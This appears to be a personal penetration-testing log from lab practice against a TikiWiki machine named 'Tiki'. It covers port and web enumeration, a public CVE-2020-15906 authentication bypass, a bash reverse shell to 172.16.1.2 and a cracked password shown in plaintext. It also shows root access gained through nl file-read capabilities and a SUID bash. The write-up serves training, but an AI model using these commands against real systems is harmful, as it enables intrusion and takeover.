🧪 Pentest Log: {{date:2025-08-26}}

🔍 Target Information

• Machine Name: Tiki
• IP Address: 10.11.1.39
• Operating System: Linux

ip=10.11.1.39

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Google "tiki wiki cms exploit exploitdb", found

https://www.exploit-db.com/exploits/40091

Port 8080

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://github.com/S1lkys/CVE-2020-15906

python3 TikiWiki_21.1_Authentication_Bypass.py $ip

Use burpsuite to capture login post request, delete the pass content

Use Scheduler to generate a reverse shell connection

/bin/bash -i >& /dev/tcp/172.16.1.2/80 0>&1


python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

🧬 Privilege Escalation

👤 Current Access

• User: apache
• Groups: 48(apache)
• Shell Type: reverse shell

🔍 Enumeration

Binary Capabilities:

getcap -r / 2>/dev/null

found

/usr/bin/nl = cap_dac_read_search+ep

Read the filebrowser.db file, found tiki password hash

$2a$10$VDo0bFCJOPUnUGPby2NhZODKUiqfIRSKlwbb47HVOOQkRf7j/AX9K

Crack it using john

tiki:mimamamemima

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: N/A
• Target Binary/Service: filebrowser
• Reference / Source: N/A

🔧 Exploit Steps

• Setup

enable chmod command under User Management

chmod +s /bin/bash

• Smash to root

bash -p